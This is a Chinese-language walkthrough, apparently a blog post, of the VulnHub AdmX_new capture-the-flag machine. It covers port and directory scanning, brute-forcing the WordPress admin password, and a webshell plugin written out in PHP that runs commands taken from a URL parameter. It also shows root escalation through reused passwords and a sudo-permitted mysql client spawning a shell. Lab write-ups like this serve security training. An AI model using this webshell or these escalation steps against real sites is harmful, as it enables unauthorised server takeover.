当前位置: 首页 > news >正文

VulnHub打靶记录——AdmX_new

靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z

1、主机发现

通过nmap进行主机发现

nmap -sn 192.168.229.0/24

在这里插入图片描述

靶机ip:192.168.229.130

kali的ip:192.168.229.128

2、信息收集

1、对靶机开放的端口,运行服务,操作系统的版本进行探测

nmap -sV -p- -O 192.168.229.130

在这里插入图片描述
只开放了80端口,跑的是apache的http服务,操作系统是Linux 4.15 - 5.6 或 Linux 5.0 - 5.4。

2、对80端口进行一个nmap漏洞库的扫描

nmap --script=vuln -p80 192.168.229.130

在这里插入图片描述
扫描结果显示有 /wordpress 和 /wordpress/wp-login.php 目录

3、访问80端口
在这里插入图片描述
apache的默认页面,没有信息可以利用,进行目录爆破。

dirsearch -u http://192.168.229.130/ -e*

在这里插入图片描述
发现了4个目录:/tools 、/tools/adminer.php 、/wordpress、/wordpress/wp-login.php

访问 /tools 没什么信息,/tools/adminer.php 像是数据库的连接页面,先放一放。
在这里插入图片描述
访问 /wordpress ,网页时虽然能正常的访问,但页面的加载时间很长。
在这里插入图片描述
通过 burpsuite 抓包可以发现 当访问 /wordpress 的时候,网页会对 192.168.159.145 进行访问,访问的内容都是关于wordpress的一些js文件,而192.168.159.145不存在。
在这里插入图片描述
有可能是之前在编写代码的时候,靶机的ip为192.168.159.145,但是现在靶机的ip改了,使用burp进行替换,将数据包的192.168.159.145 换成192.168.229.130,需要将响应头和请求体都替换。
在这里插入图片描述
浏览器重新访问80端口的 wprdpress 目录
在这里插入图片描述
可以发现网页成功的渲染,但是也没什么东西,访问前面发现的 wprdpress/wp-login.php 目录
在这里插入图片描述
来到后台地址,尝试一下弱口令 admin admin
在这里插入图片描述
提示密码错误,证明存在admin的用户名。

3、获取shell

bp爆破密码,得到 adam14
在这里插入图片描述
登录
在这里插入图片描述
获取shell

Wordpress的管理员后台利用

wordpress的管理员后台有三个可以利用的地方:

  1. Media -> 可以上传文件getshell

  2. appearance的theme editor修改外观主题,404模板,写入反弹shell,可以更新即可以利用

  3. plugins上传插件(插件的默认位置url/wordpress/wp-admin/plugins/上传的插件名称)

这里尝试后两个:

1、appearance的theme editor修改外观主题的404模板

先判断是否可以写入,尾部写入 echo 123
点击update file
在这里插入图片描述

发现不能修改文件,尝试另一种办法。

2、plugins上传插件
编写一个自定义插件,该插件的编写很简单,就是 php 简单的恶意代码,只需要注意一下两点:

  1. 需要在代码的头部加上 wordpress 固定的插件注释格式,插件才能被正确的识别。
  2. 以 zip格式上传插件。
<?php/*
Plugin Name: webshell
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: wp
Author: wp
Version: 1.0
Author URI: http://ma.tt/
License: https://wwcdg.github.io/
*/if(isset($_GET['cmd']))system($_GET['cmd']);
?>

然后打包成 zip 上传激活
在这里插入图片描述

在这里插入图片描述
上传成功,点击 activate plugin 激活插件,插件的默认位置url/wordpress/wp-admin/plugins/上传的插件名称
在这里插入图片描述
访问这个插件

http://192.168.229.130/wordpress/wp-admin/plugins/wp.php?cmd=id

在这里插入图片描述

看一下是否有 nc,python,bash 等可以利用的工具来进行反弹 shell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
存在nc,python3,bash,那么就可以选择喜欢的方式反弹 shell 了(bash测试无法反弹)。也可以把插件里的代码改成一句话,然后蚁剑连接。在这里插入图片描述

四、提权

第一次提权(wpadmin)

SUDO提权

当前用户 www-date,sudo -l 查看是否有可提权的命令
在这里插入图片描述
没有不用 root 密码就可以执行的文件。看一下有什么用户

cat /etc/passwd |  grep -v nologin 

看到 wpadmin 有用户,但是现在不知道密码。

在这里插入图片描述

SUID提权

查看是否具有root权限的命令

find / -perm -4000 -type f 2>/dev/null 

常见可用于提权root权限文件

nmap
vim
find
bash
more
less
nano
cp
screen-4.5.0

在这里插入图片描述
在这里插入图片描述
没有发现可以利用的文件

内核提权
uname -a

在这里插入图片描述
内核版本为5.4.0,没有找到可以利用的内核漏洞

定时任务提权

查看自动任务 cat /etc/crontab
在这里插入图片描述
发现有定时任务,这个定时任务的目录下,发现有文件,但是没有权限。

数据库提权

在wordpress目录下找到网站的配置文件 wp-config.php
在这里插入图片描述
发现有数据库的密码和用户,那么尝试连接数据库

mysql -u admin -p Wp_Admin#123

登录失败,结合前面信息收集,那么一共得到两个密码

Wp_Admin#123
adam14

使用这两个密码尝试去登录 wpadmin 用户,使用 adam14 成功登录。
在这里插入图片描述

第二次提权(root)

提高一下交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
sudo -l 查看是否有可提权的命令
在这里插入图片描述
发现可以用于提权的命令

sudo /usr/bin/mysql -u root -D wordpress -p

在这里插入图片描述
密码仍然是adam14,成功进入数据库。

使用mysql自带的system命令 system id
在这里插入图片描述
发现为root用户

提升为 root 权限

system /bin/bash -i

在这里插入图片描述
ok,提权结束。

http://www.dtcms.com/a/389441.html

相关文章:

  • 筑牢安全防线,守护线上招标采购管理软件
  • TP8框架安全文件与文件夹权限相关设置
  • 练习:客户端从终端不断读取数据,通过UDP,发送给服务端,服务端输出
  • Android Studio报错 C Users User .gradle caches... (系统找不到指定的文件)
  • 微服务分页查询:MyBatis-Plus vs 自定义实现
  • Opera Neon:Opera 推出的AI智能代理浏览器
  • Java 基础知识整理:字面量、常量与变量的区别
  • 模型部署:(六)安卓端部署Yolov8分类项目全流程记录
  • android 查看apk签名信息
  • SQL提取国家名称与延伸词技巧
  • 通过 商业智能 BI 数据分析提升客流量和销售额
  • PostgreSQL 与 MySQL 谁的地位更高?——全方位对比分析
  • rust编写web服务08-配置管理与日志
  • 浏览器事件机制里,事件冒泡和事件捕获的具体区别是什么?在React的合成事件体系下有什么不同的?
  • 企业级实战:构建基于Qt、C++与YOLOv8的模块化工业视觉检测系统(基于QML)
  • 【Java】Ubuntu上发布Springboot 网站
  • 【入门级-算法-3、基础算法:贪心法】
  • Linux 网络
  • 【LVS入门宝典】探秘LVS透明性:客户端如何“看不见”后端服务器的魔法
  • 23届考研-C++面经(OD)
  • 运维安全06,服务安全
  • C++篇(9)list的模拟实现
  • Bugku-宽带信息泄露
  • LeetCode 845.数组中的最长山脉
  • 分布式存储与NFS:现代架构选型指南
  • SpringBoot三级缓存如何解决循环依赖的问题
  • 火山引擎 veCLI 发布,开启智能开发新模式
  • UE学习记录11----地形数据获取等高线
  • 【C++】STL--priority_queue(优先级队列)使用及其模拟实现、容器适配器和deque(双端队列)了解
  • 数学差能学人工智能吗?